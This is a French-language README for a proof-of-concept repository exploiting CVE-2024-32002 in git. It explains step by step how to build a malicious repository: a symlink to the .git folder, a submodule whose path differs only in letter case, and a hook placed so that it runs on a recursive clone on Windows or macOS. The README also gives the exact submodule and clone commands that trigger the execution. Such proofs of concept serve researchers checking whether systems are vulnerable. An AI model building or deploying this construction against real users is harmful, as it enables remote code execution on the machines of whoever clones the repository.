CVE-2024-32002 RCE POC
Un POC pour CVE-2024-32002 démontrant l'exécution de code à distance (RCE).
Voir cve-2024-32002-poc-rce pour le dépôt de sous-module associé.
Ce que contient ce dépôt
- Un lien symbolique avec un nom arbitraire qui pointe vers le répertoire
.git.
- Un fichier
.gitmodules qui définit le sous-module malveillant.
Ce dépôt a été créé sous Linux (WSL2, pour être précis). C'est important, le dépôt malveillant ne peut être créé que sur un système de fichiers sensible à la casse.
- Créez un lien symbolique, en utilisant uniquement des caractères minuscules
Notes :
- Le lien symbolique doit pointer vers le dossier .git, car c'est là que nous voulons écrire des fichiers.
- Le nom du lien symbolique (submodule) est arbitraire, mais doit commencer par une lettre minuscule.
- C'est important, car les caractères minuscules sont triés avant les caractères majuscules. Lorsque la machine qui clone est confuse quant à l'endroit où écrire les fichiers du sous-module, nous voulons qu'elle choisisse le lien symbolique et non un répertoire normal.
- Ajoutez le sous-module malveillant, en notant la différence de casse dans le nom du répertoire du sous-module
git submodule add --name rce/notexists https://github.com/JakobTheDev/cve-2024-32002-submodule-rce.git Submodule/modules/rce
Notes :
- Le nom du sous-module (« rce/notexists ») a son importance, il entrera en jeu lors du placement de notre hook dans le sous-module.
- « rce » doit correspondre au dernier segment du chemin du sous-module.
- « notexists » doit correspondre au nom du répertoire contenant hooks/post-checkout dans le répertoire du sous-module. Voir cve-2024-32002-poc-rce.
- La structure du chemin du sous-module (« Submodule/modules/rce ») compte également :
- Le premier segment du chemin du sous-module (« Submodule ») doit correspondre au nom du lien symbolique ci-dessus, en ne différant que par la casse.
- Le deuxième segment (« modules ») correspond au nom du chemin dans le répertoire
.git qui suit l'état git des sous-modules.
- Le troisième segment (« rce ») doit correspondre au premier segment du nom du sous-module ci-dessus.
Cette vulnérabilité n'affecte que Windows et MacOS car ils ont tous deux des systèmes de fichiers insensibles à la casse.
- Vérifiez si vous disposez d'une version vulnérable de git. Consultez l'avis GitHub pour les versions concernées.
- Demandez-vous si vous voulez sciemment exécuter une commande qui pourrait permettre une RCE... Ce dépôt est bénin, mais êtes-vous sûr ?
- Exécutez la commande suivante :
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-rce.git
- Si le POC fonctionne, vous devriez pouvoir faire quelques calculs !